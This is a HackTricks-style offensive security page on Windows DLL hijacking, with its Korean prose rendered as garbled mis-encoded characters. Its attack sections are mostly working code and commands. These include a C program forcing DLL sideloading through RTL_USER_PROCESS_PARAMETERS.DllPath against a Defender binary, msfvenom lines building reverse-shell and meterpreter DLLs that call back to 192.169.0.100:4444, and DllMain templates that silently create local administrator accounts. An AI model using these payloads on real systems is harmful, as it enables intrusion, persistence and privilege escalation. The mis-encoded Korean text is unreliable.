Dll Hijacking
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
DLL Hijacking์ ์ ๋ขฐ๋ ์ ํ๋ฆฌ์ผ์ด์ ์ด ์ ์ฑ DLL์ ๋ก๋ํ๋๋ก ์กฐ์ํ๋ ๊ฒ์ ๋งํฉ๋๋ค. ์ด ์ฉ์ด๋ DLL Spoofing, Injection, and Side-Loading ๊ฐ์ ์ฌ๋ฌ ์ ์ ์ ํฌ๊ดํฉ๋๋ค. ์ฃผ๋ก ์ฝ๋ ์คํ, ์ง์์ฑ ํ๋ณด, ๊ทธ๋ฆฌ๊ณ ๋๋ฌผ๊ฒ ๊ถํ ์์น์ ์ฌ์ฉ๋ฉ๋๋ค. ์ฌ๊ธฐ์๋ ๊ถํ ์์น์ ์ด์ ์ ๋ง์ถ์ง๋ง, ํ์ด์ฌํน ๋ฐฉ๋ฒ ์์ฒด๋ ๋ชฉ์ ์ ๊ด๊ณ์์ด ๋์ผํฉ๋๋ค.
์ผ๋ฐ์ ์ธ ๊ธฐ๋ฒ
DLL hijacking์๋ ์ ํ๋ฆฌ์ผ์ด์ ์ DLL ๋ก๋ ์ ๋ต์ ๋ฐ๋ผ ๋ค์ํ ๋ฐฉ๋ฒ์ด ์ฌ์ฉ๋ฉ๋๋ค:
- DLL Replacement: ์ ์ DLL์ ์ ์ฑ DLL๋ก ๊ต์ฒดํ๋ฉฐ, ์๋ DLL์ ๊ธฐ๋ฅ์ ์ ์งํ๊ธฐ ์ํด DLL Proxying์ ์ ํ์ ์ผ๋ก ์ฌ์ฉํ ์ ์์ต๋๋ค.
- DLL Search Order Hijacking: ์ ์ฑ DLL์ ํฉ๋ฒ DLL๋ณด๋ค ๋จผ์ ๊ฒ์๋๋ ๊ฒฝ๋ก์ ๋ฐฐ์นํ์ฌ ์ ํ๋ฆฌ์ผ์ด์ ์ ๊ฒ์ ํจํด์ ์ ์ฉํฉ๋๋ค.
- Phantom DLL Hijacking: ์ ํ๋ฆฌ์ผ์ด์ ์ด ์๋ค๊ณ ์๊ฐํ๋ ํ์ DLL์ ๋ก๋ํ๋๋ก ์ ์ฑ DLL์ ์์ฑํฉ๋๋ค.
- DLL Redirection:
%PATH%๋๋.exe.manifest/.exe.local๊ฐ์ ๊ฒ์ ๋งค๊ฐ๋ณ์๋ฅผ ์์ ํ์ฌ ์ ํ๋ฆฌ์ผ์ด์ ์ด ์ ์ฑ DLL์ ๊ฐ๋ฆฌํค๋๋ก ๋ง๋ญ๋๋ค. - WinSxS DLL Replacement: WinSxS ๋๋ ํฐ๋ฆฌ ๋ด์์ ์ ์ DLL์ ์ ์ฑ DLL๋ก ๋์ฒดํ๋ ๋ฐฉ๋ฒ์ผ๋ก, ์ข ์ข DLL side-loading๊ณผ ๊ด๋ จ๋ฉ๋๋ค.
- Relative Path DLL Hijacking: ๋ณต์ฌ๋ ์ ํ๋ฆฌ์ผ์ด์ ๊ณผ ํจ๊ป ์ฌ์ฉ์๊ฐ ์ ์ดํ๋ ๋๋ ํฐ๋ฆฌ์ ์ ์ฑ DLL์ ๋ฐฐ์นํ๋ ๋ฐฉ์์ผ๋ก, Binary Proxy Execution ๊ธฐ๋ฒ๊ณผ ์ ์ฌํฉ๋๋ค.
Tip
HTML staging, AES-CTR configs, ๊ทธ๋ฆฌ๊ณ .NET implants๋ฅผ DLL sideloading ์์ ๊ณ์ธตํํ๋ ๋จ๊ณ๋ณ ์ฒด์ธ์ ๋ณด๋ ค๋ฉด ์๋ ์ํฌํ๋ก๋ฅผ ๊ฒํ ํ์ธ์.
Advanced Html Staged Dll Sideloading
๋๋ฝ๋ DLL ์ฐพ๊ธฐ
์์คํ ๋ด๋ถ์ ๋๋ฝ๋ DLL์ ์ฐพ๋ ๊ฐ์ฅ ์ผ๋ฐ์ ์ธ ๋ฐฉ๋ฒ์ sysinternals์ procmon์ ์คํํ ๋ค์, ๋ค์ 2๊ฐ์ ํํฐ๋ฅผ ์ค์ ํ๋ ๊ฒ์ ๋๋ค:
.png)
.png)
๊ทธ๋ฆฌ๊ณ **ํ์ผ ์์คํ ํ๋(File System Activity)**๋ง ํ์ํ์ธ์:
.png)
์ผ๋ฐ์ ์ผ๋ก ๋๋ฝ๋ DLL์ ์ ๋ฐ์ ์ผ๋ก ์ฐพ๊ณ ์๋ค๋ฉด ์ด ์ํ๋ก ๋ช ์ด ๋์ ์คํํด ๋ก๋๋ค.
ํน์ ์คํ ํ์ผ ์์ ๋๋ฝ๋ DLL์ ์ฐพ๊ณ ์๋ค๋ฉด, โProcess Nameโ โcontainsโ <exec name> ๊ฐ์ ์ถ๊ฐ ํํฐ๋ฅผ ์ค์ ํ๊ณ ์คํํ ๋ค ์ด๋ฒคํธ ์บก์ฒ๋ฅผ ์ค์งํด์ผ ํฉ๋๋ค.
๋๋ฝ๋ DLL ์ ์ฉ
๊ถํ์ ์์น์ํค๋ ค๋ฉด, ๊ฐ์ฅ ์ข์ ๊ธฐํ๋ ๊ถํ์ด ๋์ ํ๋ก์ธ์ค๊ฐ ๋ก๋ํ๋ ค๊ณ ์๋ํ DLL์ ์ฐ๋ฆฌ๊ฐ ์ธ ์ ์๋ ์์น์ ์ธ ์ ์๋ ๊ฒฝ์ฐ์ ๋๋ค. ๋ฐ๋ผ์ DLL์ด ์๋ณธ DLL์ด ์๋ ํด๋๋ณด๋ค ๋จผ์ ๊ฒ์๋๋ ํด๋์ ์ ์ฑ DLL์ ์ฐ๊ธฐํ ์ ์๊ฑฐ๋(ํน์ดํ ๊ฒฝ์ฐ), DLL์ด ๊ฒ์๋ ํด๋์ ์ธ ์ ์๊ณ ์๋ณธ DLL์ด ์ด๋ค ํด๋์๋ ์กด์ฌํ์ง ์๋ ๊ฒฝ์ฐ๊ฐ ๋ ์ ์์ต๋๋ค.
DLL ๊ฒ์ ์์
Microsoft documentation(https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching)์์ DLL์ด ์ด๋ป๊ฒ ๋ก๋๋๋์ง ๊ตฌ์ฒด์ ์ผ๋ก ํ์ธํ ์ ์์ต๋๋ค.
Windows applications๋ ๋ฏธ๋ฆฌ ์ ์๋ ๊ฒ์ ๊ฒฝ๋ก ์งํฉ์ ๋ฐ๋ผ ํน์ ์์๋ก DLL์ ์ฐพ์ต๋๋ค. ์ ์ฑ DLL์ ์ด๋ฐ ๋๋ ํฐ๋ฆฌ ์ค ํ๋์ ์ ๋ต์ ์ผ๋ก ๋ฐฐ์นํ๋ฉด ์ ์ DLL๋ณด๋ค ๋จผ์ ๋ก๋๋์ด DLL hijacking ๋ฌธ์ ๊ฐ ๋ฐ์ํฉ๋๋ค. ์ด๋ฅผ ๋ฐฉ์งํ๋ ํ ๊ฐ์ง ๋ฐฉ๋ฒ์ ์ ํ๋ฆฌ์ผ์ด์ ์ด ํ์ํ DLL์ ์ฐธ์กฐํ ๋ ์ ๋ ๊ฒฝ๋ก๋ฅผ ์ฌ์ฉํ๋๋ก ํ๋ ๊ฒ์ ๋๋ค.
๋ค์์ 32-bit ์์คํ ์์์ DLL ๊ฒ์ ์์์ ๋๋ค:
- ์ ํ๋ฆฌ์ผ์ด์ ์ด ๋ก๋๋ ๋๋ ํฐ๋ฆฌ.
- ์์คํ ๋๋ ํฐ๋ฆฌ. ์ด ๋๋ ํฐ๋ฆฌ ๊ฒฝ๋ก๋ฅผ ์ป์ผ๋ ค๋ฉด GetSystemDirectory ํจ์๋ฅผ ์ฌ์ฉํ์ธ์. (C:\Windows\System32)
- 16-bit ์์คํ ๋๋ ํฐ๋ฆฌ. ์ด ๋๋ ํฐ๋ฆฌ์ ๊ฒฝ๋ก๋ฅผ ์ป๋ ํจ์๋ ์์ง๋ง ๊ฒ์๋ฉ๋๋ค. (C:\Windows\System)
- Windows ๋๋ ํฐ๋ฆฌ. ์ด ๋๋ ํฐ๋ฆฌ ๊ฒฝ๋ก๋ฅผ ์ป์ผ๋ ค๋ฉด GetWindowsDirectory ํจ์๋ฅผ ์ฌ์ฉํ์ธ์.
- (C:\Windows)
- ํ์ฌ ๋๋ ํฐ๋ฆฌ.
- PATH ํ๊ฒฝ ๋ณ์์ ๋์ด๋ ๋๋ ํฐ๋ฆฌ๋ค. ์ด๋ App Paths ๋ ์ง์คํธ๋ฆฌ ํค๋ก ์ง์ ๋ ์ ํ๋ฆฌ์ผ์ด์ ๋ณ ๊ฒฝ๋ก๋ ํฌํจ๋์ง ์๋๋ค๋ ์ ์ ์ ์ํ์ธ์. App Paths ํค๋ DLL ๊ฒ์ ๊ฒฝ๋ก๋ฅผ ๊ณ์ฐํ ๋ ์ฌ์ฉ๋์ง ์์ต๋๋ค.
์ด๋ SafeDllSearchMode๊ฐ ํ์ฑํ๋ ๊ธฐ๋ณธ ๊ฒ์ ์์์ ๋๋ค. ์ด ๊ธฐ๋ฅ์ด ๋นํ์ฑํ๋๋ฉด ํ์ฌ ๋๋ ํฐ๋ฆฌ๊ฐ ๋ ๋ฒ์งธ๋ก ์ฌ๋ผ๊ฐ๋๋ค. ์ด ๊ธฐ๋ฅ์ ๋นํ์ฑํํ๋ ค๋ฉด HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode ๋ ์ง์คํธ๋ฆฌ ๊ฐ์ ๋ง๋ค๊ณ 0์ผ๋ก ์ค์ ํ์ธ์(๊ธฐ๋ณธ๊ฐ์ ํ์ฑํ๋จ).
LoadLibraryEx ํจ์๊ฐ LOAD_WITH_ALTERED_SEARCH_PATH ํ๋๊ทธ๋ก ํธ์ถ๋๋ฉด ๊ฒ์์ LoadLibraryEx๊ฐ ๋ก๋ํ๋ ์คํ ๋ชจ๋์ ๋๋ ํฐ๋ฆฌ์์ ์์๋ฉ๋๋ค.
๋ง์ง๋ง์ผ๋ก, DLL์ด ์ด๋ฆ ๋์ ์ ๋ ๊ฒฝ๋ก๋ก ์ง์ ๋์ด ๋ก๋๋ ์ ์๋ค๋ ์ ์ ์ ์ํ์ธ์. ๊ทธ ๊ฒฝ์ฐ ํด๋น DLL์ ๊ทธ ๊ฒฝ๋ก์์๋ง ๊ฒ์๋ฉ๋๋ค(ํด๋น DLL์ด ๋ค๋ฅธ ์ข ์์ฑ์ ๊ฐ์ง๋ ๊ฒฝ์ฐ, ๊ทธ ์ข ์์ฑ๋ค์ ์ด๋ฆ์ผ๋ก ๋ก๋๋ ๊ฒ์ฒ๋ผ ๊ฒ์๋ฉ๋๋ค).
๊ฒ์ ์์๋ฅผ ๋ณ๊ฒฝํ๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ๋ค๋ ์์ง๋ง ์ฌ๊ธฐ์๋ ์ค๋ช ํ์ง ์๊ฒ ์ต๋๋ค.
Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
์๋ก ์์ฑ๋ ํ๋ก์ธ์ค์ DLL ๊ฒ์ ๊ฒฝ๋ก์ ๊ฒฐ์ ๋ก ์ ์ผ๋ก ์ํฅ์ ์ฃผ๋ ๊ณ ๊ธ ๋ฐฉ๋ฒ์ ntdll์ ๋ค์ดํฐ๋ธ API๋ก ํ๋ก์ธ์ค๋ฅผ ์์ฑํ ๋ RTL_USER_PROCESS_PARAMETERS์ DllPath ํ๋๋ฅผ ์ค์ ํ๋ ๊ฒ์ ๋๋ค. ์ฌ๊ธฐ์ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ๋๋ ํฐ๋ฆฌ๋ฅผ ์ ๊ณตํ๋ฉด, ๋์ ํ๋ก์ธ์ค๊ฐ DLL์ ์ด๋ฆ์ผ๋ก ํด๊ฒฐํ ๋(์ ๋ ๊ฒฝ๋ก๊ฐ ์๋๊ณ ์์ ๋ก๋ ํ๋๊ทธ๋ฅผ ์ฌ์ฉํ์ง ์๋ ๊ฒฝ์ฐ) ํด๋น ๋๋ ํฐ๋ฆฌ์์ ์ ์ฑ DLL์ ๋ก๋ํ๋๋ก ๊ฐ์ ํ ์ ์์ต๋๋ค.
ํต์ฌ ์์ด๋์ด
- RtlCreateProcessParametersEx๋ก ํ๋ก์ธ์ค ํ๋ผ๋ฏธํฐ๋ฅผ ๊ตฌ์ฑํ๊ณ , ์ ์ด ๊ฐ๋ฅํ ํด๋(์: dropper/unpacker๊ฐ ์์นํ ๋๋ ํฐ๋ฆฌ)๋ฅผ ๊ฐ๋ฆฌํค๋ ์ฌ์ฉ์ ์ง์ DllPath๋ฅผ ์ ๊ณตํฉ๋๋ค.
- RtlCreateUserProcess๋ก ํ๋ก์ธ์ค๋ฅผ ์์ฑํฉ๋๋ค. ๋์ ๋ฐ์ด๋๋ฆฌ๊ฐ ์ด๋ฆ์ผ๋ก DLL์ ํด๊ฒฐํ ๋ ๋ก๋๋ ์ด ์ ๊ณต๋ DllPath๋ฅผ ์ฐธ์กฐํ์ฌ, ์ ์ฑ DLL์ด ๋์ EXE์ ๊ฐ์ ์์น์ ์์ง ์๋๋ผ๋ ์ ๋ขฐํ ์ ์๋ sideloading์ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค.
์ฃผ์/์ ํ์ฌํญ
- ์ด๋ ์์ฑ๋๋ ์์ ํ๋ก์ธ์ค์ ์ํฅ์ ๋ฏธ์น๋ฉฐ, ํ์ฌ ํ๋ก์ธ์ค์๋ง ์ํฅ์ ๋ฏธ์น๋ SetDllDirectory์๋ ๋ค๋ฆ ๋๋ค.
- ๋์์ DLL์ ์ด๋ฆ์ผ๋ก importํ๊ฑฐ๋ LoadLibraryํด์ผ ํฉ๋๋ค(์ ๋ ๊ฒฝ๋ก๊ฐ ์๋๋ฉฐ LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories๋ฅผ ์ฌ์ฉํ์ง ์๋ ๊ฒฝ์ฐ).
- KnownDLLs ๋ฐ ํ๋์ฝ๋ฉ๋ ์ ๋ ๊ฒฝ๋ก๋ ํ์ด์ฌํนํ ์ ์์ต๋๋ค. Forwarded exports์ SxS๋ ์ฐ์ ์์๋ฅผ ๋ณ๊ฒฝํ ์ ์์ต๋๋ค.
๊ฐ๋จํ C ์์ (ntdll, wide strings, ๊ฐ์ํ๋ ์ค๋ฅ ์ฒ๋ฆฌ):
Full C example: forcing DLL sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
```c #include// Prototype (not in winternl.h in older SDKs) typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)( PRTL_USER_PROCESS_PARAMETERS *pProcessParameters, PUNICODE_STRING ImagePathName, PUNICODE_STRING DllPath, PUNICODE_STRING CurrentDirectory, PUNICODE_STRING CommandLine, PVOID Environment, PUNICODE_STRING WindowTitle, PUNICODE_STRING DesktopInfo, PUNICODE_STRING ShellInfo, PUNICODE_STRING RuntimeData, ULONG Flags );
typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)( PUNICODE_STRING NtImagePathName, ULONG Attributes, PRTL_USER_PROCESS_PARAMETERS ProcessParameters, PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, HANDLE ParentProcess, BOOLEAN InheritHandles, HANDLE DebugPort, HANDLE ExceptionPort, PRTL_USER_PROCESS_INFORMATION ProcessInformation );
static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) { DWORD n = GetModuleFileNameW(h, out, cch); for (DWORD i=n; i>0; โi) if (out[i-1] == Lโ\โ) { out[i-1] = 0; break; } }
int wmain(void) { // Target Microsoft-signed, DLL-hijackable binary (example) const wchar_t *image = Lโ\??\C:\Program Files\Windows Defender Advanced Threat Protection\SenseSampleUploader.exeโ;
// Build custom DllPath = directory of our current module (e.g., the unpacked archive) wchar_t dllDir[MAX_PATH]; DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);
UNICODE_STRING uImage, uCmd, uDllPath, uCurDir; RtlInitUnicodeString(&uImage, image); RtlInitUnicodeString(&uCmd, Lโ"C:\Program Files\Windows Defender Advanced Threat Protection\SenseSampleUploader.exe"โ); RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory RtlInitUnicodeString(&uCurDir, dllDir);
RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx = (RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(Lโntdll.dllโ), โRtlCreateProcessParametersExโ); RtlCreateUserProcess_t pRtlCreateUserProcess = (RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(Lโntdll.dllโ), โRtlCreateUserProcessโ);
RTL_USER_PROCESS_PARAMETERS *pp = NULL; NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd, NULL, NULL, NULL, NULL, NULL, 0); if (st < 0) return 1;
RTL_USER_PROCESS_INFORMATION pi = {0}; st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi); if (st < 0) return 1;
// Resume main thread etc. if created suspended (not shown here) return 0; }
</details>
์ด์ ์ฌ์ฉ ์
- ์
์ฑ xmllite.dll (ํ์ํ ํจ์๋ฅผ export ํ๊ฑฐ๋ ์ค์ DLL์ ํ๋ก์ํ๋)์ DllPath ๋๋ ํ ๋ฆฌ์ ๋ฐฐ์นํฉ๋๋ค.
- ์ ๊ธฐ๋ฒ์ ์ฌ์ฉํ์ฌ ์ด๋ฆ์ผ๋ก xmllite.dll์ ์กฐํํ๋ ๊ฒ์ผ๋ก ์๋ ค์ง ์๋ช
๋ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์คํํฉ๋๋ค. ๋ก๋๋ ์ ๊ณต๋ DllPath๋ฅผ ํตํด import ๋ฅผ ํด๊ฒฐํ๊ณ ๊ทํ์ DLL์ sideload ํฉ๋๋ค.
์ด ๊ธฐ๋ฒ์ ์ค์ ์์ multi-stage sideloading chains๋ฅผ ๊ตฌ๋ํ๋ ๊ฒ์ผ๋ก ๊ด์ฐฐ๋์์ต๋๋ค: ์ด๊ธฐ launcher๊ฐ helper DLL์ ๋๋กญํ๊ณ , ๊ทธ DLL์ด ์ปค์คํ
DllPath๋ฅผ ๊ฐ์ง Microsoft-signed ํ๋ฉฐ hijackableํ ๋ฐ์ด๋๋ฆฌ๋ฅผ spawn ํ์ฌ ์คํ
์ด์ง ๋๋ ํ ๋ฆฌ์์ ๊ณต๊ฒฉ์์ DLL์ ๊ฐ์ ๋ก ๋ก๋ํ๊ฒ ํฉ๋๋ค.
#### Windows ๋ฌธ์์์์ DLL ๊ฒ์ ์์ ์์ธ์ฌํญ
Windows ๋ฌธ์์์๋ ํ์ค DLL ๊ฒ์ ์์์ ๋ํ ๋ช ๊ฐ์ง ์์ธ๋ฅผ ์ธ๊ธํ๊ณ ์์ต๋๋ค:
- **์ด๋ฏธ ๋ฉ๋ชจ๋ฆฌ์ ๋ก๋๋ ๊ฒ๊ณผ ์ด๋ฆ์ด ๊ฐ์ DLL**์ด ๋ฐ๊ฒฌ๋๋ ๊ฒฝ์ฐ, ์์คํ
์ ์ผ๋ฐ์ ์ธ ๊ฒ์์ ์ฐํํฉ๋๋ค. ๋์ ๋ฆฌ๋๋ ์
๊ณผ ๋งค๋ํ์คํธ๋ฅผ ํ์ธํ ํ ๊ธฐ๋ณธ์ ์ผ๋ก ์ด๋ฏธ ๋ฉ๋ชจ๋ฆฌ์ ์๋ DLL์ ์ฌ์ฉํฉ๋๋ค. **์ด ์๋๋ฆฌ์ค์์๋ ์์คํ
์ด DLL์ ๊ฒ์ํ์ง ์์ต๋๋ค.**
- ํด๋น DLL์ด ํ์ฌ Windows ๋ฒ์ ์์ **known DLL**๋ก ์ธ์๋๋ ๊ฒฝ์ฐ, ์์คํ
์ ํด๋น known DLL์ ๋ฒ์ ๊ณผ ๊ทธ์ ์์กดํ๋ DLL๋ค์ ์ฌ์ฉํ๋ฉฐ **๊ฒ์ ๊ณผ์ ์ ์๋ต**ํฉ๋๋ค. ๋ ์ง์คํธ๋ฆฌ ํค **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** ์ ์ด๋ฌํ known DLL ๋ชฉ๋ก์ด ์ ์ฅ๋์ด ์์ต๋๋ค.
- **DLL์ ์์กด์ฑ์ด ์๋ ๊ฒฝ์ฐ**, ์ด๋ฌํ ์์กด DLL๋ค์ ๋ํ ๊ฒ์์ ์ด๊ธฐ DLL์ด ์ ์ฒด ๊ฒฝ๋ก๋ก ์๋ณ๋์๋์ง ์ฌ๋ถ์ ๊ด๊ณ์์ด ๋ง์น ์ด๋ค์ด **๋ชจ๋ ์ด๋ฆ(module names)** ์ผ๋ก๋ง ์ง์ ๋ ๊ฒ์ฒ๋ผ ์ํ๋ฉ๋๋ค.
### ๊ถํ ์์น
**์๊ตฌ์ฌํญ**:
- ์๋ก ๋ค๋ฅธ ๊ถํ์ผ๋ก ๋์ํ๊ฑฐ๋ ๋์ํ ์์ ์ธ ํ๋ก์ธ์ค( horizontal or lateral movement ) ์ค์์, **DLL์ด ์๋** ํ๋ก์ธ์ค๋ฅผ ์๋ณํฉ๋๋ค.
- **DLL์ด ๊ฒ์๋ ** ๋ชจ๋ **๋๋ ํฐ๋ฆฌ**์ ๋ํด **์ฐ๊ธฐ ๊ถํ(write access)**์ด ์๋์ง ํ์ธํฉ๋๋ค. ์ด ์์น๋ ์คํ ํ์ผ์ ๋๋ ํฐ๋ฆฌ์ด๊ฑฐ๋ ์์คํ
๊ฒฝ๋ก ๋ด์ ๋๋ ํฐ๋ฆฌ์ผ ์ ์์ต๋๋ค.
๋ค, ์๊ตฌ์กฐ๊ฑด์ ์ฐพ๋ ๊ฒ์ ๋ณต์กํฉ๋๋ค. ๊ธฐ๋ณธ์ ์ผ๋ก ๊ถํ์ด ์๋ ์คํ ํ์ผ์ด DLL์ด ์๋ ๊ฒฝ์ฐ๋ฅผ ์ฐพ๋ ๊ฒ์ ์ด์ํ๊ณ , ์์คํ
๊ฒฝ๋ก ํด๋์ ์ฐ๊ธฐ ๊ถํ์ ๊ฐ๋ ๊ฒ์ ๋ ์ด์ํฉ๋๋ค(๊ธฐ๋ณธ์ ์ผ๋ก ๋ถ๊ฐ๋ฅํฉ๋๋ค). ํ์ง๋ง ์๋ชป ๊ตฌ์ฑ๋ ํ๊ฒฝ์์๋ ๊ฐ๋ฅํ ์ ์์ต๋๋ค.\
์ด์ด ์ข๊ฒ ์๊ตฌ์ฌํญ์ ์ถฉ์กฑํ๋ ๊ฒฝ์ฐ, [UACME](https://github.com/hfiref0x/UACME) ํ๋ก์ ํธ๋ฅผ ํ์ธํด ๋ณด์ธ์. ์ด ํ๋ก์ ํธ์ **main goal of the project is bypass UAC** ์ด์ง๋ง, ํด๋น Windows ๋ฒ์ ์ ๋ง๋ Dll hijaking์ **PoC**๋ฅผ ์ฐพ์ ์ ์์ ๊ฒ์ด๋ฉฐ(์๋ง๋ ์ฐ๊ธฐ ๊ถํ์ด ์๋ ํด๋์ ๊ฒฝ๋ก๋ง ๋ณ๊ฒฝํ๋ฉด ๋ ๊ฒ์
๋๋ค) ํ์ฉํ ์ ์์ต๋๋ค.
์ฐธ๊ณ ๋ก ๋ค์๊ณผ ๊ฐ์ด **ํด๋์์ ๊ถํ์ ํ์ธ**ํ ์ ์์ต๋๋ค:
```bash
accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"
๊ทธ๋ฆฌ๊ณ PATH ๋ด์ ๋ชจ๋ ํด๋ ๊ถํ์ ํ์ธํ์ธ์:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
๋ค์ ๋ช ๋ น์ผ๋ก ์คํ ํ์ผ์ imports์ dll์ exports๋ฅผ ํ์ธํ ์๋ ์์ต๋๋ค:
dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll
For a full guide on how to abuse Dll Hijacking to escalate privileges with permissions to write in a System Path folder check:
Writable Sys Path +Dll Hijacking Privesc
Automated tools
Winpeas ๋ system PATH ๋ด์ ์ด๋ค ํด๋์ ์ฐ๊ธฐ ๊ถํ์ด ์๋์ง ํ์ธํฉ๋๋ค.
๋ค๋ฅธ ํฅ๋ฏธ๋ก์ด ์๋ํ ๋๊ตฌ๋ก ์ด ์ทจ์ฝ์ ์ ์ฐพ์๋ด๋ ๋ฐ ์ ์ฉํ PowerSploit functions: Find-ProcessDLLHijack, Find-PathDLLHijack ๋ฐ _Write-HijackDll._์ด ์์ต๋๋ค.
Example
๋ง์ฝ exploitable scenario๋ฅผ ๋ฐ๊ฒฌํ๋ค๋ฉด, ์ด๋ฅผ ์ฑ๊ณต์ ์ผ๋ก ์
์ฉํ๊ธฐ ์ํด ๊ฐ์ฅ ์ค์ํ ๊ฒ ์ค ํ๋๋ ์คํ ํ์ผ์ด ํด๋น dll์์ ๊ฐ์ ธ์ฌ ๋ชจ๋ ํจ์๋ฅผ ์ ์ด๋ ๋ด๋ณด๋ด๋ dll์ ๋ง๋๋ ๊ฒ์
๋๋ค. ์ด์จ๋ , Dll Hijacking์ escalate from Medium Integrity level to High (bypassing UAC) ๋๋ High Integrity to SYSTEM์ผ๋ก ๊ถํ์ ์์น์ํค๋ ๋ฐ ์ ์ฉํฉ๋๋ค. ์ด ์คํ์ ์ํ dll hijacking ์ฐ๊ตฌ ๋ด๋ถ์์ how to create a valid dll์ ์๋ ๋ค์์์ ์ฐพ์ ์ ์์ต๋๋ค: https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows.
๋ํ, next section์๋ templates๋ก ์ ์ฉํ๊ฑฐ๋ dll with non required functions exported๋ฅผ ์์ฑํ๋ ๋ฐ ๋์์ด ๋ ์ ์๋ ๋ช ๊ฐ์ง basic dll codes๊ฐ ์์ต๋๋ค.
Creating and compiling Dlls
Dll Proxifying
๊ธฐ๋ณธ์ ์ผ๋ก Dll proxy๋ ๋ก๋๋ ๋ ๋ก๋๋ ๋ ์ ์ฑ ์ฝ๋๋ฅผ ์คํํ ์ ์๋ Dll์ด์ง๋ง, ๋ชจ๋ ํธ์ถ์ ์ค์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ก ์ ๋ฌํจ์ผ๋ก์จ ๊ธฐ๋๋๋ก ๋ ธ์ถํ๊ณ ๋์ํ ์ ์๋ Dll์ ๋๋ค.
With the tool DLLirant or Spartacus you can actually ์คํ ํ์ผ์ ์ง์ ํ๊ณ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ ํํ์ฌ proxifyํ๋ ค๋ ๋์์ proxified dll์ ์์ฑํ๊ฑฐ๋, Dll์ ์ง์ ํ๊ณ proxified dll์ ์์ฑํ ์ ์์ต๋๋ค.
Meterpreter
Get rev shell (x64):
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
meterpreter (x86) ์ป๊ธฐ:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
์ฌ์ฉ์ ์์ฑ (x86 โ x64 ๋ฒ์ ์ ํ์ธ๋์ง ์์):
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
์์ ๋ง์
์ปดํ์ผํ๋ Dll์ victim process์ ์ํด ๋ก๋๋ ์ฌ๋ฌ ํจ์๋ฅผ ๋ฐ๋์ export several functions ํด์ผ ํฉ๋๋ค. ์ด๋ฌํ ํจ์๋ค์ด ์กด์ฌํ์ง ์์ผ๋ฉด binary wonโt be able to load them, ๊ทธ๋ฆฌ๊ณ exploit will fail.
C DLL template (Win10)
```c // Tested in Win10 // i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared #include#include <windows.h> BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){ if (dwReason == DLL_PROCESS_ATTACH){ system(โcmd.exe /k net localgroup administrators user /addโ); ExitProcess(0); } return TRUE; }
<details>
<summary>C++ DLL ์์ (์ฌ์ฉ์ ์์ฑ ํฌํจ)</summary>
```c
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a
#include <windows.h>
int owned()
{
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
exit(0);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}
์ค๋ ๋ ์ง์ ์ ์ด ์๋ ๋์ฒด C DLL
